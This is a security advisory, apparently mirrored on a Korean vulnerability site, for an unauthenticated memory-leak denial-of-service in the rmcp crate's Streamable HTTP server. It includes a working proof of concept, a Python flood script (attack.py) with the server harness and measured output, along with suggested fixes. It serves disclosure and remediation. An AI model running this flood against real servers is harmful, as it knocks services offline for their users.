RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Summary
An unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of LocalSessionManager by sending a well-formed JSON-RPC POST that is not an InitializeRequest. The Streamable HTTP server's handle_post allocates the session before it validates the body, then early-returns on the validation failure without calling close_session. The LocalSessionHandle (and the tokio mpsc channel internals it holds) is never released for the remainder of the process's lifetime — turning a ~250-byte request into a permanent ~400–550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly 170 million leaked entries per day, equivalent to ≈75 GB of resident memory just from the session table.
Details
The bug lives in crates/rmcp/src/transport/streamable_http_server/tower.rs inside StreamableHttpService::handle_post. The relevant slice of 1.7.0 source (lines 1126–1170) is:
1} else { 2 let (session_id, transport) = self 3 .session_manager 4 .create_session() // (★) 5 .await 6 .map_err(internal_error_response("create session"))?; 7 // ...capture init params if a SessionStore is configured... 8 if let ClientJsonRpcMessage::Request(req) = &mut message { 9 let ClientRequest::InitializeRequest(init_req) = &req.request else {10 return Err(unexpected_message_response("initialize request")); // (A)11 };12 validate_header_matches_init_body( // (B)13 &part.headers,14 init_req.params.protocol_version.as_str(),15 Some(req.id.clone()),16 )?;17 req.request.extensions_mut().insert(part);18 } else {19 return Err(unexpected_message_response("initialize request")); // (C)20 }21 let service = self22 .get_service() // (D)23 .map_err(internal_error_response("get service"))?;24 Self::spawn_session_worker( // (★★)25 self.session_manager.clone(),26 session_id.clone(),27 service,28 transport,29 None,30 );31 // ...persist to external store, send response...32}Two facts make this unsafe:
(★)inserts aLocalSessionHandleintoLocalSessionManager.sessions(atokio::sync::RwLock<HashMap<SessionId, LocalSessionHandle>>) and spawns aLocalSessionWorkertask.(★★)spawn_session_workeris the only code path in the entire transport (besides a client-initiated HTTPDELETEreachinghandle_delete) that ever invokesself.session_manager.close_session(&session_id).
Therefore the four early-returns (A), (B), (C), and (D) all skip the cleanup. What happens concretely after such an early return:
- The local
transport: WorkerTransport<LocalSessionWorker>goes out of scope; its_drop_guardcancels the worker'sCancellationToken. - The worker, which had been awaiting
event_rx.recv(), exits within milliseconds viaWorkerQuitReason::Cancelled. Itsevent_rxreceiver is dropped. LocalSessionHandle.event_tx(theSenderhalf of the same mpsc channel) is still alive because it is owned by the HashMap entry that nothing ever removes. The channel'sInner(sized tochannel_capacity = 16by default) remains pinned in memory.
Because the worker has already exited, the SessionConfig::keep_alive and init_timeout cleanup paths cannot run either — they only fire from inside a running worker. The leak is therefore permanent for the lifetime of the server process and grows unbounded with sustained traffic.
The bug is reachable with zero authentication, the default StreamableHttpServerConfig, and the default LocalSessionManager. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate Host: <bound-address> value and is allowed through validate_dns_rebinding_headers normally.
A secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes self.sessions.write().await or .read().await against the same RwLock. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, before the box runs out of memory.
Proof of concept
The reproduction is fully self-contained — no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.
Step 1 — server harness
Cargo.toml (paste verbatim):
1[package] 2name = "rmcp_leak_repro" 3version = "0.0.1" 4edition = "2021" 5publish = false 6 7[dependencies] 8rmcp = { version = "1.7.0", default-features = false, features = [ 9 "server",10 "transport-streamable-http-server",11] }12tokio = { version = "1", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] }13tokio-util = { version = "0.7" }14axum = { version = "0.8", default-features = false, features = ["http1", "tokio"] }15anyhow = "1"16 17[workspace]src/main.rs (paste verbatim):
1//! Minimal MCP Streamable HTTP server that prints the size of the 2//! LocalSessionManager.sessions HashMap once a second so the leak is 3//! observable from stdout. 4 5use std::sync::Arc; 6 7use rmcp::{ 8 ErrorData, RoleServer, ServerHandler, 9 model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},10 service::RequestContext,11 transport::{12 StreamableHttpServerConfig, StreamableHttpService,13 streamable_http_server::session::local::LocalSessionManager,14 },15};16 17const BIND_ADDRESS: &str = "127.0.0.1:8000";18 19#[derive(Clone, Default)]20struct MinimalServer;21 22impl ServerHandler for MinimalServer {23 async fn initialize(24 &self,25 _request: InitializeRequestParams,26 _cx: RequestContext<RoleServer>,27 ) -> Result<InitializeResult, ErrorData> {28 Ok(InitializeResult::new(ServerCapabilities::builder().build())29 .with_server_info(Implementation::new("rmcp-leak-repro", "0.0.1")))30 }31}32 33#[tokio::main]34async fn main() -> anyhow::Result<()> {35 let ct = tokio_util::sync::CancellationToken::new();36 let manager: Arc<LocalSessionManager> = Arc::new(LocalSessionManager::default());37 38 // Reporter — prints sessions.len() every second.39 {40 let manager = manager.clone();41 let ct = ct.clone();42 tokio::spawn(async move {43 loop {44 tokio::select! {45 _ = ct.cancelled() => break,46 _ = tokio::time::sleep(std::time::Duration::from_secs(1)) => {47 let n = manager.sessions.read().await.len();48 println!("[count] active_sessions={n}");49 }50 }51 }52 });53 }54 55 let service = StreamableHttpService::new(56 || Ok(MinimalServer::default()),57 manager.clone(),58 StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),59 );60 61 let router = axum::Router::new().nest_service("/mcp", service);62 let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;63 println!("[server] listening on http://{BIND_ADDRESS}/mcp");64 65 let _ = axum::serve(tcp_listener, router)66 .with_graceful_shutdown(async move {67 tokio::signal::ctrl_c().await.ok();68 ct.cancel();69 })70 .await;71 Ok(())72}Start it:
1cargo run --releaseInitial output:
1[server] listening on http://127.0.0.1:8000/mcp 2[count] active_sessions=0 3[count] active_sessions=0 4[count] active_sessions=0Step 2 — attacker
attack.py (paste verbatim — Python 3 standard library only, no pip install required):
1import http.client, json, sys, time 2 3HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp" 4 5# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`, 6# but NOT an `InitializeRequest`. The server's `let ... else` pattern at 7# tower.rs:1148 rejects it after the session has already been created 8# at tower.rs:1129. 9body = json.dumps({10 "jsonrpc": "2.0",11 "id": 1,12 "method": "tools/list",13 "params": {},14}).encode("ascii")15 16headers = {17 "Host": f"{HOST}:{PORT}", # passes allowed_hosts18 "Content-Type": "application/json",19 "Accept": "application/json, text/event-stream",20 "Content-Length": str(len(body)),21}22 23n = int(sys.argv[1]) if len(sys.argv) > 1 else 100024print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}")25start = time.monotonic()26leaked = 027for i in range(n):28 conn = http.client.HTTPConnection(HOST, PORT, timeout=5)29 conn.request("POST", PATH, body=body, headers=headers)30 resp = conn.getresponse()31 status = resp.status32 resp.read()33 conn.close()34 if status == 422:35 leaked += 136elapsed = time.monotonic() - start37print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).")Run it:
1python3 attack.py 1000Step 3 — observed evidence
Attacker output (verbatim, measured on Rust 1.92.0 stable, macOS):
1[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp 2[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).Server output during and after the attack:
1[count] active_sessions=0 2[count] active_sessions=0 3[count] active_sessions=0 4[count] active_sessions=844 5[count] active_sessions=1000 <-- attack complete, attacker has disconnected 6[count] active_sessions=1000 7[count] active_sessions=1000 8[count] active_sessions=1000 9[count] active_sessions=1000 <-- 20+ seconds later, still 100010[count] active_sessions=100011[count] active_sessions=1000The behavioural evidence that confirms the vulnerability:
- Every one of the 1 000 requests took the leak branch (
HTTP 422 Unprocessable Entitywith bodyUnexpected message, expect initialize request). - A single Python client sustained
1000 / 0.46 ≈ 2 174leak requests per second. - After the attacker exited,
active_sessions=1000never decreased. The session table holds those entries for the rest of the process's lifetime.
Impact
- Attack vector: Network (AV:N). The listener binds a TCP port; the default
allowed_hosts = ["localhost", "127.0.0.1", "::1"]accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widenedallowed_hoststo a public hostname, the attack is reachable from the network. - Authentication required: None.
- User interaction required: None.
- Result: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the
SessionIdArc<str>, theLocalSessionHandlestruct, and the half-dropped mpsc channelInner). At the measured rate of 2 174 leak requests per second from one Python client:- 1 hour: ~7.8 M entries, ≈3.5 GB
- 1 day: ~187 M entries, ≈84 GB
- 1 week: process is long dead from OOM
- Secondary effect:
LocalSessionManager.sessionsis behind atokio::sync::RwLock. Every legitimate session operation (has_session,create_session,close_session,restore_session) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM. - Worst case: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.
Suggested fix
Two minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.
- Validate before allocating. Move the
ClientJsonRpcMessage::Request(InitializeRequest)discriminant check and thevalidate_header_matches_init_bodycall above theself.session_manager.create_session().awaitline. Reject non-initialize bodies with422before any state is created. This removes a class of bugs rather than patching one path. The downside is thatvalidate_header_matches_init_bodycurrently readsinit_req.params.protocol_version, so theInitializeRequestdiscriminant has to be deconstructed earlier — a small refactor. - RAII guard for the session. Wrap the
session_idreturned bycreate_sessionin a guard whoseDropimpl spawns aclose_sessioncall. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss.
A regression test that asserts session_manager.sessions.read().await.len() == 0 after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 6
링크 내용 불러오는 중…